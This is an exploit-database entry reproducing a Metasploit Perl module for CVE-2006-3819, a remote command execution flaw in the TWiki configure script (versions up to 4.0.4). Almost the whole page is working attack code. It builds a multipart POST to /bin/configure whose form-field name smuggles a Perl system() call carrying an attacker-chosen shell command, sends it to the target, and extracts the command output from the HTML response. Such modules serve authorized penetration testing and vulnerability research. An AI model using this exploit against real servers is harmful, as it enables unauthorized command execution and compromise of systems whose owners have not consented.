TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Twiki <= 4.0.4 Remote Code Execution Exploi

                                                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::twiki_config_typeof;
use base &#34;Msf::Exploit&#34;;
use strict;
use Pex::Text;
use bytes;

my $advanced = { 
	&#39;HttpBoundary&#39; =&#62; [&#39;Mtb06z&#39;, &#39;HTTP boundary&#39;]
};

my $info = {
	&#39;Name&#39;     =&#62; &#39;Twiki Configure script TYPEOF Parameter Remote Command Execution&#39;,
	&#39;Version&#39;  =&#62; &#39;$Revision: 1.0 $&#39;,
	&#39;Authors&#39;  =&#62; [ &#39;David Maciejak &#60;david dot maciejak at gmail dot com&#62;&#39; ],
	&#39;Arch&#39;     =&#62; [ ],
	&#39;OS&#39;       =&#62; [ ],
	&#39;Priv&#39;     =&#62; 1,
	&#39;UserOpts&#39; =&#62;
	  {
		&#39;RHOST&#39; =&#62; [1, &#39;ADDR&#39;, &#39;The target address&#39;],
		&#39;RPORT&#39; =&#62; [1, &#39;PORT&#39;, &#39;The target port&#39;, 80],
		&#39;VHOST&#39; =&#62; [0, &#39;DATA&#39;, &#39;The virtual host name of the server&#39;],
		&#39;DIR&#39;   =&#62; [1, &#39;DATA&#39;, &#39;Directory of Twiki&#39;, &#39;/twiki&#39;],
		&#39;SSL&#39;   =&#62; [0, &#39;BOOL&#39;, &#39;Use SSL&#39;],
	  },

	&#39;Description&#39; =&#62; Pex::Text::Freeform(qq{
		This module exploits an arbitrary command execution vulnerability in the
	Twiki configure script. All versions of Twiki prior to 
	4.0.4 hotfix 2 are vulnerable. Patch HotFix04x00x04x02 is available on twiki.org homepage.
}),
	&#39;Refs&#39; =&#62;
	  [
		[&#39;BID&#39;, &#39;19188&#39;],
		[&#39;CVE&#39;, &#39;2006-3819&#39;],
		[&#39;OSVDB&#39;, &#39;27556&#39;],
	  ],

	&#39;Payload&#39; =&#62;
	  {
		&#39;Space&#39; =&#62; 128,
		&#39;Keys&#39;  =&#62; [&#39;cmd&#39;,&#39;cmd_bash&#39;],
	  },

	&#39;Keys&#39; =&#62; [&#39;twiki&#39;],

	&#39;DisclosureDate&#39; =&#62; &#39;Jul 27 2006&#39;,
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self-&#62;VHost;
	my $target_port    = $self-&#62;GetVar(&#39;RPORT&#39;);
	my $dir            = $self-&#62;GetVar(&#39;DIR&#39;);
	my $encodedPayload = $self-&#62;GetVar(&#39;EncodedPayload&#39;);
	my $cmd            = $encodedPayload-&#62;RawPayload;
	my $boundary		 = $self-&#62;GetLocal(&#39;HttpBoundary&#39;);		

	$cmd=
		&#34;\r\n--&#34;.$boundary.&#34;\r\n&#34;.
		&#34;Content-Disposition: form-data; name=\&#34;action\&#34;\r\n\r\n&#34;.
		&#34;update\r\n&#34;.
		&#34;--&#34;.$boundary.
		&#34;Content-Disposition: form-data; name=\&#34;TYPEOF:{system(&#39;$cmd&#39;)}\&#34;\r\n\r\n&#34;.
		&#34;BOOLEAN\r\n&#34;.
		&#34;--&#34;.$boundary;

	my $proto=&#34;http&#34;;
	if ($self-&#62;GetVar(&#39;SSL&#39;))
	{
		$proto.=&#34;s&#34;;
	}

	 my $request =
    	&#34;POST &#34;.$dir.&#34;/bin/configure HTTP/1.1\r\n&#34;.
		&#34;Content-Type: multipart/form-data; boundary=&#34;.$boundary.&#34;\r\n&#34;.
		&#34;User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n&#34;.
		&#34;Host: $target_host\r\n&#34;.
		&#34;Referer: &#34;.$proto.&#34;://&#34;.$target_host.$dir.&#34;/bin/configure\r\n&#34;.
		&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/png\r\n&#34;.
		&#34;Accept-Language: en\r\n&#34;.
		&#34;Content-Length: &#34;. length($cmd). &#34;\r\n\r\n&#34;.
		$cmd;

	my $s = Msf::Socket::Tcp-&#62;new(
		&#39;PeerAddr&#39; =&#62; $target_host,
		&#39;PeerPort&#39; =&#62; $target_port,
		&#39;SSL&#39;      =&#62; $self-&#62;GetVar(&#39;SSL&#39;),
	  );

	if ($s-&#62;IsError){
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return;
	}

	$s-&#62;Send($request);

	my $results = $s-&#62;Recv(-1, 200);

	if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
		my @extract_result;
		my @results = split ( /\r\n/, $results );

		chomp @results;
		my $fill_extract_result=0;
		my $end_break=0;
		my $i=0;
		while ( !$end_break && ($i &#60; @results)){
			if ($results[$i] =~ /\&#60;div id=\&#34;patternScreen\&#34;\&#62;/)
			{
				$fill_extract_result=0;
				$end_break=1;
			}
			if ($fill_extract_result&#62;0) {
					push(@extract_result,$results[$i]);
			}
			if ($results[$i] =~ /\&#60;body class=\&#34;patternNoViewPage\&#34;\&#62;/)
			{
				$fill_extract_result=1;
			}
			$i++;
		}

		if (@extract_result &#60; 3) {
				$self-&#62;PrintLine(&#34;[*] Target may be not vulnerable, or you have used &#39;;&#39; char in CMD&#34;);	
		}
		else {
			for ($i=1;$i&#60;@extract_result;$i+=2) {
				chomp @extract_result;
				$self-&#62;PrintLine(&#34;$extract_result[$i]&#34;);
			}
		}
	}

	$s-&#62;Close();
	return;
}

sub VHost {
	my $self = shift;
	my $name = $self-&#62;GetVar(&#39;VHOST&#39;) || $self-&#62;GetVar(&#39;RHOST&#39;);
	return $name;
}

1;

# milw0rm.com [2006-08-02]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1